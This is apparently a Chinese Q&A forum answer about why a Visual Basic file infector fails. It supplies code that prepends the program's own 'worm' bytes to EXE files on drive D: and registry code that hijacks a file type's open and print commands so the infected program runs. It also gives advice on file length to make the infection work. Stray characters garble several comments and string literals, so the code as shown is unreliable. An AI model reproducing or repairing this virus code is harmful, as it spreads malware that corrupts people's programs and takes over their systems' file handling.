用VB这样感染文件为什么无法运行？

Open App.Path &"\" &App.EXEName &".exe" For Binary As #1

ReDim worm(LOF(1) - 1)

Get #1, , worm

Close

Open "d:\" &List1.List(i) For Binary As #1

ReDim exefile(LOF(1) - 1)

Get #1, , exefile '这里你镇李应该也高旅梁写错了

Close

Open "d:\" &List1.List(i) For Binary As #1

Put #1, , worm

Put #1, , exefile

Close

还有，有可能PE文件运行时也判断了程序文件的长度吧！改下长度试下！

找下PE文件说明戚运也可以更了解EXE文件吧！

Dim hKey As Long

hKey = HKEY_CLASSES_ROOT'访问注册表项 （前一章所学的hkey的参数说明）

Dim ret1 As Long '定义常量

RegSetValue hKey, "感染的类型如(.txt)", REG_SZ, "感染标签 ", 7

RegSetValue hKey, "感染标签 ", REG_SZ, "文本文档", 9

RegSetValue hKey, "感染标签 " &"\shell", REG_SZ, "open", 5

RegSetValue hKey, "感染标签 " &"\shell\open\command", REG_SZ, "感染的文件地址 %l", LenB(StrConv(感染的文件地址 %l", vbFromUnicode)) + 1

RegSetValue hKey, "感染标签 " &"\shell\握猜print\command", REG_SZ, "感染的文件地址 /p %l", LenB(StrConv(感含皮笑染的文件地址谈含 /p %l", vbFromUnicode)) + 1

RegSetValue hKey, "感染标签 " &"\DefaultIcon", REG_SZ, "感染的图标", LenB(StrConv("感染的图标", vbFromUnicode)) + 1

RegCloseKey hKey '访问注册表。。修改注册表。

’如果你要感染2个``要2次使用以上代码 修改“感染的类型”即可

---